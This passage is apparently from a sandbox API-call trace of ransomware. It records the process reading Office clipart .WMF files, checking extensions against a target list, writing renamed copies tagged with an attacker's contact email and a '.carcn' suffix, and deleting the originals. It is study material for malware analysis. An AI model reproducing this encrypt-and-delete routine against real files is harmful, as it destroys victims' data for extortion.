Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0287.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0287.257] lstrlenW (lpString=".doc") returned 4 [0287.257] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0287.257] lstrlenW (lpString=".docx") returned 5 [0287.257] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0287.257] lstrlenW (lpString=".pdf") returned 4 [0287.257] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0287.257] lstrlenW (lpString=".xls") returned 4 [0287.257] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0287.257] lstrlenW (lpString=".xlsx") returned 5 [0287.257] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0287.257] lstrlenW (lpString=".ppt") returned 4 [0287.257] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0287.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0287.257] lstrlenW (lpString=".zip") returned 4 [0287.257] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0287.257] lstrlenW (lpString=".rar") returned 4 [0287.257] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0287.257] lstrlenW (lpString=".bz2") returned 4 [0287.257] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0287.257] lstrlenW (lpString=".7z") returned 3 [0287.258] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0287.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0287.258] lstrlenW (lpString=".dbf") returned 4 [0287.258] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0287.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0287.258] lstrlenW (lpString=".1cd") returned 4 [0287.258] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0287.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0287.258] lstrlenW (lpString=".jpg") returned 4 [0287.258] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0287.258] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=1848) returned 1 [0287.258] CloseHandle (hObject=0x53c) returned 1 [0287.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf")) returned 0x220 [0287.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0287.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0287.259] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.260] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0287.260] GetLastError () returned 0x0 [0287.260] ReadFile (in: hFile=0x53c, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x738, lpOverlapped=0x0) returned 1 [0287.264] WriteFile (in: hFile=0x56c, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x740, lpOverlapped=0x0) returned 1 [0287.265] ReadFile (in: hFile=0x53c, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0287.265] WriteFile (in: hFile=0x56c, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0287.265] SetEndOfFile (hFile=0x56c) returned 1 [0287.265] CloseHandle (hObject=0x56c) returned 1 [0287.265] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.265] SetEndOfFile (hFile=0x53c) returned 1 [0287.268] CloseHandle (hObject=0x53c) returned 1 [0287.268] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0287.269] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00204_.wmf")) returned 1 [0287.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0287.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0287.270] lstrlenW (lpString=".doc") returned 4 [0287.270] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0287.270] lstrlenW (lpString=".docx") returned 5 [0287.270] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0287.270] lstrlenW (lpString=".pdf") returned 4 [0287.270] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0287.270] lstrlenW (lpString=".xls") returned 4 [0287.270] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0287.270] lstrlenW (lpString=".xlsx") returned 5 [0287.270] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0287.270] lstrlenW (lpString=".ppt") returned 4 [0287.270] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0287.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0287.270] lstrlenW (lpString=".zip") returned 4 [0287.270] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0287.270] lstrlenW (lpString=".rar") returned 4 [0287.270] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0287.270] lstrlenW (lpString=".bz2") returned 4 [0287.270] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0287.270] lstrlenW (lpString=".7z") returned 3 [0287.270] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0287.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0287.270] lstrlenW (lpString=".dbf") returned 4 [0287.270] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0287.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0287.271] lstrlenW (lpString=".1cd") returned 4 [0287.271] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0287.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 68 [0287.271] lstrlenW (lpString=".jpg") returned 4 [0287.271] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0287.271] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=11190) returned 1 [0287.271] CloseHandle (hObject=0x53c) returned 1 [0287.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf")) returned 0x220 [0287.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0287.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0287.272] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.272] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0287.273] GetLastError () returned 0x0 [0287.273] ReadFile (in: hFile=0x53c, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x2bb6, lpOverlapped=0x0) returned 1 [0287.335] WriteFile (in: hFile=0x56c, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0287.336] ReadFile (in: hFile=0x53c, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0287.336] WriteFile (in: hFile=0x56c, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0287.336] SetEndOfFile (hFile=0x56c) returned 1 [0287.336] CloseHandle (hObject=0x56c) returned 1 [0287.336] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.336] SetEndOfFile (hFile=0x53c) returned 1 [0287.339] CloseHandle (hObject=0x53c) returned 1 [0287.340] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0287.340] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf")) returned 1 [0287.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0287.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0287.341] lstrlenW (lpString=".doc") returned 4 [0287.341] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0287.341] lstrlenW (lpString=".docx") returned 5 [0287.341] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0287.341] lstrlenW (lpString=".pdf") returned 4 [0287.341] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0287.341] lstrlenW (lpString=".xls") returned 4 [0287.341] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0287.341] lstrlenW (lpString=".xlsx") returned 5 [0287.341] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0287.341] lstrlenW (lpString=".ppt") returned 4 [0287.342] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0287.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0287.342] lstrlenW (lpString=".zip") returned 4 [0287.342] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0287.342] lstrlenW (lpString=".rar") returned 4 [0287.342] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0287.342] lstrlenW (lpString=".bz2") returned 4 [0287.342] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0287.342] lstrlenW (lpString=".7z") returned 3 [0287.342] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0287.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0287.342] lstrlenW (lpString=".dbf") returned 4 [0287.342] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0287.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0287.342] lstrlenW (lpString=".1cd") returned 4 [0287.342] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0287.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0287.342] lstrlenW (lpString=".jpg") returned 4 [0287.342] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0287.343] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=1892) returned 1 [0287.343] CloseHandle (hObject=0x53c) returned 1 [0287.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf")) returned 0x220 [0287.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0287.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0287.345] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.345] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0287.346] GetLastError () returned 0x0 [0287.346] ReadFile (in: hFile=0x53c, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x764, lpOverlapped=0x0) returned 1 [0287.374] WriteFile (in: hFile=0x56c, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x770, lpOverlapped=0x0) returned 1 [0287.375] ReadFile (in: hFile=0x53c, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0287.375] WriteFile (in: hFile=0x56c, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0287.376] SetEndOfFile (hFile=0x56c) returned 1 [0287.376] CloseHandle (hObject=0x56c) returned 1 [0287.376] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.376] SetEndOfFile (hFile=0x53c) returned 1 [0287.380] CloseHandle (hObject=0x53c) returned 1 [0287.380] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0287.380] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf")) returned 1 [0287.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0287.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0287.381] lstrlenW (lpString=".doc") returned 4 [0287.381] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0287.381] lstrlenW (lpString=".docx") returned 5 [0287.381] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0287.382] lstrlenW (lpString=".pdf") returned 4 [0287.382] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0287.382] lstrlenW (lpString=".xls") returned 4 [0287.382] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0287.382] lstrlenW (lpString=".xlsx") returned 5 [0287.382] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0287.382] lstrlenW (lpString=".ppt") returned 4 [0287.382] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0287.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0287.382] lstrlenW (lpString=".zip") returned 4 [0287.382] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0287.382] lstrlenW (lpString=".rar") returned 4 [0287.382] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0287.382] lstrlenW (lpString=".bz2") returned 4 [0287.382] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0287.382] lstrlenW (lpString=".7z") returned 3 [0287.382] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0287.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0287.382] lstrlenW (lpString=".dbf") returned 4 [0287.382] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0287.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0287.382] lstrlenW (lpString=".1cd") returned 4 [0287.382] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0287.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0287.382] lstrlenW (lpString=".jpg") returned 4 [0287.383] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0287.383] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=696) returned 1 [0287.383] CloseHandle (hObject=0x53c) returned 1 [0287.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf")) returned 0x220 [0287.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0287.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0287.384] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.384] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0287.385] GetLastError () returned 0x0 [0287.386] ReadFile (in: hFile=0x53c, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x2b8, lpOverlapped=0x0) returned 1 [0287.387] WriteFile (in: hFile=0x56c, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x2c0, lpOverlapped=0x0) returned 1 [0287.388] ReadFile (in: hFile=0x53c, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0287.388] WriteFile (in: hFile=0x56c, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0287.388] SetEndOfFile (hFile=0x56c) returned 1 [0287.388] CloseHandle (hObject=0x56c) returned 1 [0287.388] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.388] SetEndOfFile (hFile=0x53c) returned 1 [0287.392] CloseHandle (hObject=0x53c) returned 1 [0287.392] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0287.392] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf")) returned 1 [0287.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0287.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0287.393] lstrlenW (lpString=".doc") returned 4 [0287.393] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0287.393] lstrlenW (lpString=".docx") returned 5 [0287.393] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0287.393] lstrlenW (lpString=".pdf") returned 4 [0287.393] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0287.393] lstrlenW (lpString=".xls") returned 4 [0287.393] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0287.393] lstrlenW (lpString=".xlsx") returned 5 [0287.393] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0287.394] lstrlenW (lpString=".ppt") returned 4 [0287.394] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0287.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0287.394] lstrlenW (lpString=".zip") returned 4 [0287.394] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0287.394] lstrlenW (lpString=".rar") returned 4 [0287.394] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0287.394] lstrlenW (lpString=".bz2") returned 4 [0287.394] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0287.394] lstrlenW (lpString=".7z") returned 3 [0287.394] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0287.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0287.394] lstrlenW (lpString=".dbf") returned 4 [0287.394] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0287.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0287.394] lstrlenW (lpString=".1cd") returned 4 [0287.394] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0287.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0287.394] lstrlenW (lpString=".jpg") returned 4 [0287.394] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0287.395] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=1928) returned 1 [0287.395] CloseHandle (hObject=0x53c) returned 1 [0287.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00351_.wmf")) returned 0x220 [0287.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft 